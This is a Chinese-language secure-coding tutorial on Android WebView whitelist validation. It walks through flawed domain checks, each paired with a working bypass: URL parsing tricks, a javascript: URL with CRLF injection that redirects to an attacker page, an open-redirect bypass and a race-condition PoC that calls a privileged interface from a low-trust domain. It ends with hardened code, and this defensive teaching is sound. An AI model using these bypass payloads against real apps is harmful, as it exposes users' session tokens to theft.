【原创】一文彻底搞懂安卓WebView白名单校验

前言

近两年公司端侧发现的漏洞很大一部分都出在WebView白名单上,针对这类漏洞安全编码团队也组织过多次培训,但是这种漏洞还是屡见不鲜。下面本人就结合产品中容易出现问题的地方,用实例的方式来总结一下如何正确使用WebView白名单,给开发的兄弟们作为参考。

在Android SDK中封装了一个可以很方便的加载、显示网页的控件,叫做WebView,全限定名为:android.webkit.WebView。WebView是SDK层的一个封装,底层实现是Chromium(Android 4.4之前是webkit)。由于WebView功能非常强大,目前很多公司的 App 就只使用一个WebView 作为整体框架,App中的所有内容全部使用HTML5进行展示,这样只需要写一次HTML5代码,就可以在多个平台上运行,而不需要更新端侧APP本身。

WebView只是Android SDK中的一个控件,其本身就像一个与APP隔离开的容器,在WebView中加载的所有页面都运行在这个容器中,无法与APP Java(或者Kotlin)层或者native层交互。为了使H5页面更方便地与APP进行交互,Webview提供了一个addJavascriptInterface方法,该方法可以把一个Java类注入到当前WebView的实例中,这样利用该Webview实例加载的页面就可以方便地利用Javascript与Java层通信了。

一个例子

首先我们先写一个极简demo APP,这个APP只有一个全屏的webview控件在MAinActivity中,webview中通过addJavascriptInterface注入了一个名为myObj的Java对象,myObj为该对象在Javascript世界中的名字,其在Java中对应的类名为JsObject。APP打开的时候会加载https://www.rebeyond.net/poc.htm,poc.htm中的js代码会调用Java世界中的getToken方法,并把getToken的返回值通过alert弹框显示。

demo APP代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() { return "{\"token\":\"1234567890abcdefg\"}"; }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");
        webView.loadUrl("https://www.rebeyond.net/poc.htm");
    }
}

poc.htm代码如下:

<script>
    alert(window.myObj.getToken());
</script>

APP运行效果:

1.jpg

OK,上面是JavaScriptInterface的一个简单功能演示,下文随着案例深入我们会逐渐扩充这段代码,下面言归正传。

如何正确校验白名单

下面我们预设一个场景:该demo APP开发人员小A认为getToken这个方法返回的字符串是一个用户会话标识,属于敏感信息,不应该就这样完全暴露出去,只有白名单中的域名及其子域名才允许调用该方法。所以配置了一个白名单列表,如下:

String[] whiteList=new String[]{"site1.com","site2.com"};

并实现了校验逻辑来判断调用方的域名是否在白名单内,不过这个校验逻辑并没有他当初想象的那么简单,里面有很多坑,下面我们围观下他的心路历程:

Round 1

对用户输入的URL进行域名白名单校验,小A首先想到的是用indexOf来判断,代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() { return "{\"token\":\"1234567890abcdefg\"}"; }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.rebeyond.net/poc.htm";

        if (checkDomain(inputUrl))
        {
            webView.loadUrl(inputUrl);
        }
    }

    private static boolean checkDomain(String inputUrl)
    {
        String[] whiteList=new String[]{"site1.com","site2.com"};
        for (String whiteDomain:whiteList)
        {
            if (inputUrl.indexOf(whiteDomain)>0)
                return true;
        }
        return  false;
    }
}

绕过

这个校验逻辑错误比较低级,攻击者直接输入http://www.rebeyond.net/poc.htm?site1.com就可以绕过了。因为URL中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个URL是不安全的。虽然直接用indexOf来判断用户输入的URL是否在域名白名单内这种错误看上去比较low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。

Round 2

当然小A作为一个资深开发,很快自己便发现了问题所在,他意识到想要匹配白名单中的域名,首先应该把用户输入的URL中的域名提取出来再进行校验才对,于是他自己做了一个升级版,代码如下:

private static boolean checkDomain(String inputUrl)
{
    String[] whiteList=new String[]{"site1.com","site2.com"};
    String tempStr=inputUrl.replace("://","");
    String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.indexOf(whiteDomain)>0)
            return true;
    }
    return  false;
}

绕过

首先我们看一下RFC中对URL格式的描述:

<protocol>://<user>:<password>@<host>:<port>/<url-path>

小A由于缺乏对URL语法的了解,错误的认为://和第一个/之间的字符串即为域名(host),导致了这个检测逻辑可以通过如下payload绕过:

http://site1.com@www.rebeyond.net/poc.htm

攻击者利用URL不常见的语法,在URL中加入了Authority字段即绕过了这段校验。Authority字段是用来向所请求的访问受限资源提供用户凭证的,比如访问一个需要认证的ftp资源,用户名为test,密码为123456,可以直接在浏览器中输入URL:ftp://test:123456@nju.edu.cn/。

Round 3

小A意识到通过字符串截取的方式来获取host可能不太安全,于是去翻了一下Java文档,发现有个java.net.URL类可以实现URL的格式化,于是他又写了一个改进版:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.indexOf(whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

使用java.net.URL确实可以得到比较准确的host,但是小A仍然使用了indexOf来判断,所以还是可以很简单的通过如下payload绕过:

http://www.site2.com.rebeyond.net/poc.htm

上述URL的host中包含site2.com字符串,但是www.site2.com并不是域名,而是rebeyond.net这个域名的一个子域名,所以最终还是指向了攻击者控制的服务器。

Round 4

既然indexOf不能用,那还可以选择startsWith、endsWith或者equals,不过一般白名单匹配的时候都要匹配子域名,所以equals和startsWith被排除,于是小A用endWith又写了一个版本:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith(whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

通过java.net.URL提取域名,然后通过endWith来匹配白名单,聪明的你一定想到了如下payload来绕过endsWith的匹配:

http://rebeyondsite1.com/poc.htm

只要注册一个以site1结尾的顶级域名就可以绕过白名单了,我查了一下rebeyondsite1.com这个域名可以注册,一年只要60块钱:)

2_new.PNG

Round 5

小A现在知道问题出在哪了,只要在endsWith的时候,在白名单前面加个点,就可以避免这种情况了,于是又改进一个版本:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

经过了上面几轮错误的修正,目前这个版本看上去应该没什么问题了。真的没问题了么?如果java.net.URL可以得到绝对准确的host,那确实没问题了,但事实上,java.net.URL并不是完全可信,比如下图:

3_new.png

https://www.rebeyond.net\\@www.site1.com/poc.htm

上述URL通过java.net.URL的getHost方法得到的host是www.site1.com,但实际上访问的确是www.rebeyond.net服务器,可以看到www.rebeyond.net服务器上收到了如下这条访问日志:

4_new.PNG

只要在www.rebeyond.net这个攻击者服务器上放置/@.site1.com/poc.htm这样一个文件,就可以绕过白名单调用JavaScriptInterface里的getToken了。

当然除了上面那种用@符号绕过的方法外,还有另外一种:

https://www.rebeyond.net\\.site1.com

上述URL经过java.net.URL的getHost方法提取得到的是www.rebeyond.net.site1.com,可以绕过白名单域名的endsWith匹配,但是实际访问的确是www.rebeyond.net服务器,访问日志如下图:

5_new.PNG

该问题在最新的Java10仍然存在,现已提交至Oracle官方修复。另外,android.net.Uri存在同样的问题,不过在18年1月和4月分别修复了这两个bug,git commit见文末参考链接。

Round 6

连JDK自带的java.net.URL都有问题,那还有什么安全的方法么?有的,那就是java.net.URI。如下是小A用java.net.URI对Round5中的绕过payload进行的测试结果:

6_new.png
7_new.PNG

可以看到畸形的URL会直接抛异常。小A痛定思痛,写下了下面这个版本,用java.net.URI代替java.net.URL:

private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URI url=new java.net.URI(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

上面这种写法,对于单纯的host的校验来说,确实没有问题了,但是如果攻击者在协议名称上动点手脚,还是可以绕过。
在讲绕过方法之前,我们先看一段代码:

package rebeyond.net.myapplication;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        
        String inputUrl="javascript:alert('hello world');";
        webView.loadUrl(inputUrl);
    }
}

执行结果如下图:

8.jpg

可以看到,webview的loadUrl方法可以直接执行JavaScript伪协议中的代码,于是构造如下URL,即可绕过java.net.URI的检测:

JavaScript://www.site1.com/%0d%0awindow.location.href='http://www.rebeyond.net/poc.htm'

上述URL的getHost结果为www.site1.com,如下图:

9_new.PNG

但是webview实际执行的是如下两行JavaScript代码:

//www.site1.com/ 
window.location.href='http://www.rebeyond.net/poc.htm'

第一行通过//符号来骗过java.net.URI获取到值为www.site1.com的host,恰好//符号在Javascript的世界里是行注释符号,所以第一行实际并没有执行;然后通过%0d%0a换行,继续执行window.location.href='http://www.rebeyond.net/poc.htm'请求我们的poc页面,最终可以成功绕过白名单限制调用getToken接口,执行效果如下:

10.jpg

Round 7

小A恍然大悟:看来坏人在协议上面也能做手脚,那我只要再加个协议名称校验就可以了,三下五除二写了个最终版:

private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
    if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
    {
        return false;
    }
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URI url=new java.net.URI(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕不过

域名白名单校验逻辑经过上述7个小版本的迭代,终于得到了一个比较完善的版本。如果不考虑白名单域名服务器自身有安全问题的情况,这个校验逻辑目前是安全的,推荐大家采用。

在哪里校验白名单

上面我们得到了一个安全的白名单校验方法,然后问题来了,应该在哪个地方调用这个校验方法呢?前面我们只在loadUrl之前校验了一次,这样够么?不够。

URL跳转绕过

上述“最终版”的校验逻辑确实可以安全地校验域名白名单,但是整体的校验方案仍然不是最优,下面继续来看个例子:

https://www.site1.com/redirect.php?url=http://login.site1.com

这是我虚构的一个URL,该URL的功能是跳转至SSO登录页面。打开这个URL后,服务器会返回一个302响应:

11_new.png

然后浏览器侧会再次请求Location中指定的URL。对于大型网站而言,特别是有单点登录功能的网站,这种类型的接口很常见。
如果攻击者构造如下URL,是不是就可以绕过域名白名单了呢?答案是可以绕过。

https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm

我们来测试一下,把demo APP稍作修改,加一些log,完整代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken");
            return "{\"token\":\"1234567890abcdefg\"}";
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
        try {
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }
    private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url=new java.net.URI(inputUrl);
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

我们在checkDomain校验返回true的时候和调用JavascriptInterface getToken的时候,分别打印一条日志。APP 运行日志如下:

12_new.png

可以看到我们通过一个URL跳转顺利绕过了域名白名单校验。

解决方案

根据上面的分析可以得出,Webview在请求https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm的时候,实际是发出了两次请求,第一次是在loadUrl中请求https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm,第二次是请求https://www.rebeyond.net/poc.htm,但是第二次请求发生在loadUrl之后,而我们的白名单校验逻辑在loadUrl之前,才导致了绕过。有什么方法可以在请求每个URL的时候都插入校验逻辑呢?那就是重写webview的shouldOverrideUrlLoading方法,该方法会在webview后续加载其他url的时候回调:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken");
            return "{\"token\":\"1234567890abcdefg\"}";
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                Log.e("rebeyond","start to shouldOverrideUrlLoading url:"+request.getUrl());
                return super.shouldOverrideUrlLoading(view, request);
            }
        });
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
        try {
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }
    private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url=new java.net.URI(inputUrl);
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

看一下APP的logcat:

13_new.PNG

可以看到webview的第二次请求被shouldOverrideUrlLoading拦截到,因此除了在loadUrl之前校验白名单之外,还要在shouldOverrideUrlLoading中再校验一次,如下为改进版:

package rebeyond.net.myapplication;


public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken");
            return "{\"token\":\"1234567890abcdefg\"}";
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                Log.e("rebeyond","start to shouldOverrideUrlLoading url:"+request.getUrl());
                String inputUrl=request.getUrl().toString();
                if (checkDomain(inputUrl))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="http://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

通过在shouldOverrideUrlLoading中加入白名单校验逻辑就可以保证webview所有加载的页面不会超出白名单的范围。
这个解决方案一句话总结就是:只在loadUrl之前校验白名单还不够,还要在shouldOverrideUrlLoading中再校验一次。

JavaInterface接口安全分级

我们继续回到小A的心路历程里来,假如小A开发的所有JavascriptInterface接口都是同一个安全等级,那上述的方案已是最佳校验方案。但是小A接到了另外一个需求:该APP需要和多家第三方公司合作,需要提供一些不包含敏感信息的接口给第三方H5页面调用。要求在JsObject中增加一个方法getUsername。之前的getToken方法只开放给 * .site1.com,getUsername方法同时开放给.site2.com和.site1.com。小A心想:这个简单,把checkDomain方法修改一下,在白名单内部做个等级划分,site2.com和site1.com为0级,代表低安全等级;site1.com为1级,代表高安全等级,然后只要在JavascriptInterface方法中再加一个校验逻辑即可,于是一鼓作气写下了如下代码:

package rebeyond.net.myapplication;
    
public class MainActivity extends AppCompatActivity {
    class JsObject {
        private String currentHost;
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken under host:"+currentHost);
            if (checkDomain(currentHost,1)) //安全等级高,只信任site1.com
            {
                Log.e("rebeyond","allowed to call getToken");
                return "{\"token\":\"1234567890abcdefg\"}";
            }
            else
            {
                Log.e("rebeyond","not allowed to call getToken");
                return "";
            }
        }
        @JavascriptInterface
        public String getUsername() {
            Log.e("rebeyond","i am in getUsername under host:"+currentHost);
            if (checkDomain(currentHost,0)) //安全等级低,信任site1.com和site2.com
            {
                return "{\"userName\":\"root\"}";
            }
            else
                return "";
        }

        public void setCurrentHost(String currentHost) {
            this.currentHost = currentHost;
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final JsObject jsObject=new JsObject();
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                String inputUrl=request.getUrl().toString();
                Log.e("rebeyond","override url :"+inputUrl);
                jsObject.setCurrentHost(inputUrl); //把webview将要加载的URL传递给JsObject
                if (checkDomain(inputUrl,0))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());

        webView.addJavascriptInterface(jsObject,"myObj");

        String inputUrl="https://www.site2.com/poc.htm";

            if (checkDomain(inputUrl,0))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl,int securityLevel)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        if (securityLevel==0) //低安全等级,该等级下信任site1.com和site2.com
        {
            whiteList=new String[]{"site1.com","site2.com"};
        }
        else if (securityLevel==1)  //高安全等级,该等级下只信任site1.com
        {
            whiteList=new String[]{"site1.com"};
        }
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

越权绕过

上面这代码咋看貌似没什么问题,严格的白名单校验方法checkDomain;考虑到了URL重定向的情况重写了shouldOverrideUrlLoading。每一次shouldOverrideUrlLoading的时候都把新的URL传给JsObject中以备在JavascriptInterface中检测。

是的,这种情况如果想用白名单外的域名来绕过暂时是没有可能了,但是如果是白名单内的一个安全等级比较低的域名(比如APP开放给第三方合作伙伴的低权限白名单)想要越权访问安全等级比较高的JavascriptInterface接口,这段代码实现还是可以被绕过的。问题就出在这个shouldOverrideUrlLoading上,攻击者可以通过操纵shouldOverrideUrlLoading的URL来实现低安全级别的域名调用高安全级别的JavascriptInterface。怎么实现呢?大家如果研究过前端hack技术的话一定听说过一个常用的技术叫“Load and Overwrite Race Conditions”,就是利用竞态条件来欺骗浏览器,这种利用方法在地址栏欺骗这类攻击中非常多见,下面我们可以把这个思想借鉴到白名单的绕过中。

下面我们假设site2.com为第三方合作伙伴的域名,而且这个域名现在已经可以被攻击者控制(这个攻击者可以是第三方自己,也可以是渗透到第三方网络内部的其他人),先看一下我们之前的poc.htm:

<script>
    alert(window.myObj.getToken());
</script>

运行APP,加载https://www.site2.com/poc.htm,logcat如下:

14_new.png

getToken方法没有被调用,这在我们意料之中,下面把poc.htm的代码稍作修改:

<script>
    var test=function (){alert(window.myObj.getToken());};
    setTimeout(test,500);
    document.location.href="https://www.site1.com";
</script>

运行APP,加载https://www.site2.com/poc.htm,logcat如下:

15_new.png

可以看到我们用存在于site2.com域名下的js成功骗过webview,调用了只有site1.com域名才有权限调用的getToken方法。解释一下POC:

  1. 首先site2.com是security level为0的普通白名单,可以通过loadUrl之前的checkDomain检测,此时JsObject中的currentHost被赋值为site2.com。
  2. webview加载site2.com下的poc.htm。
  3. poc第一步先定义一个延迟执行函数test,延迟500ms,test函数中调用getToken。
  4. poc第二步执行document.location.href="https://www.site1.com",此时webview会打开https://www.site1.com,shouldOverrideUrlLoading方法被回调,这个时候webview会把www.site1.com赋值给JsObject中的currentHost。
  5. 然后poc之前定义的一个延迟执行函数开始执行,getToken被调用,这时getToken中的域名校验函数会对JsObject中的currentHost进行安全等级校验,不过此时的currentHost已经被改写为site1.com,可以顺利通过校验。
  6. 成功在site2.com域中调用到site1.com域才有权限调用的getToken函数,纵向越权绕过成功。

这里我们利用的竞态条件是:当document.location.href="https://www.site1.com"刚开始执行,shouldOverrideUrlLoading被回调,但是site2.com的DOM还没销毁的间隙,可以让延迟函数成功执行。如果延迟执行设置的时间间隔比较久,可能site2.com页面的DOM已经被销毁,setTimeout所设置的延迟执行函数也就不会再执行了,利用就会失败。

另外,据我所知有开发人员只在JavascriptInterface中进行域名校验,这样即使校验逻辑写的再好,也于事无补。

如何防御

这个竞态条件可以成功被利用的根本原因是currentHost的值攻击者完全可控,换句话说就是我们通过shouldOverrideUrlLoading这个回调方法的第二个参数去取URL是不安全的,攻击者可以通过js任意修改shouldOverrideUrlLoading中可获取到的URL值。对于开发人员来讲,只想获取到webview加载的“主URL”,该“主URL”派生的其他攻击者完全可控的URL,特别是跨域的其他URL,不应该被用来作为安全校验的因素。所以需要把获取当前URL的方法改一下,从shouldOverrideUrlLoading的第一个参数webview中获取,利用webview.getUrl方法,该方法不会受js代码的影响,改进版如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import java.net.URISyntaxException;


public class MainActivity extends AppCompatActivity {
    class JsObject {
        private String currentHost;
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken under host:"+currentHost);
            if (checkDomain(currentHost,1)) //安全等级高,只信任site1.com
            {
                Log.e("rebeyond","allowed to call getToken");
                return "{\"token\":\"1234567890abcdefg\"}";
            }
            else
            {
                Log.e("rebeyond","not allowed to call getToken");
                return "";
            }

        }
        @JavascriptInterface
        public String getUsername() {
            Log.e("rebeyond","i am in getUsername under host:"+currentHost);
            if (checkDomain(currentHost,0)) //安全等级低,信任site1.com和site2.com
            {
                return "{\"userName\":\"root\"}";
            }
            else
                return "";
        }

        public void setCurrentHost(String currentHost) {
            this.currentHost = currentHost;
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final JsObject jsObject=new JsObject();
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                String inputUrl=request.getUrl().toString();
                Log.e("rebeyond","override url :"+inputUrl);
                Log.e("rebeyond","set JsObject currentHost :"+view.getUrl());
                jsObject.setCurrentHost(view.getUrl()); //把webview将要加载的URL传递给JsObject,从webview中取url,不要从request中取url
                if (checkDomain(inputUrl,0))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());

        webView.addJavascriptInterface(jsObject,"myObj");

        String inputUrl="https://www.site2.com/poc.htm";
            if (checkDomain(inputUrl,0))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                jsObject.setCurrentHost(inputUrl); //把webview将要加载的URL传递给JsObject
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl,int securityLevel)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        if (securityLevel==0) //低安全等级,该等级下信任site1.com和site2.com
        {
            whiteList=new String[]{"site1.com","site2.com"};
        }
        else if (securityLevel==1)  //高安全等级,该等级下只信任site1.com
        {
            whiteList=new String[]{"site1.com"};
        }
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

运行APP,取logcat如下:

16_new.png

问题完美解决。

总结

前面跟了小A一路的心路历程,略显繁琐,下面给做开发的朋友们做个总结:

  1. 白名单校验函数到底该怎么写?

    private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://")) //重要提醒:建议只使用https协议通信,避免中间人攻击
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url=new java.net.URI(inputUrl);
        String inputDomain=url.getHost(); //提取host,如果需要校验Path可以通过url.getPath()获取
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)||inputDomain.equals(whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
    可以总结为如下几条开发建议:
    • 不要使用indexOf这种模糊匹配的函数;
    • 不要自己写正则表达式去匹配;
    • 尽量使用Java封装好的获取域名的方法,比如java.net.URI,不要使用java.net.URL;
    • 不仅要给域名设置白名单,还要给协议设置白名单,一般常用HTTP和HTTPS两种协议,不过强烈建议不要使用HTTP协议,因为移动互联网时代,手机被中间人攻击的门槛很低,搭一个恶意WiFi即可劫持手机网络流量;
    • 权限最小化原则,尽量使用更精确的域名或者路径。

    当然上述代码可能不完全符合业务开发需求,这里只是给大家一个参考,大家可以参考本文的案例自己开发出更适合的校验方法。

  2. 应该把白名单校验函数放在哪个环节校验?
    • loadUrl之前
    • shouldOverrideUrlLoading中
    • 如果需要对白名单进行安全等级划分,还需要在JavascriptInterface中加入校验函数,JavascriptInterface中需要使用webview.getUrl()来获取webview当前所在域。
  3. 上面这些都做了,我的JavascriptInterface还有没有可能被攻击?
    可能。比如白名单中的服务器存在XSS漏洞,或者白名单中的服务器被攻击者控制,或者webview访问没有采用安全的传输通道导致被中间人劫持等,都可以在白名单信任域中注入恶意JavaScript。

参考

  1. https://developer.chrome.com/multidevice/webview/overview
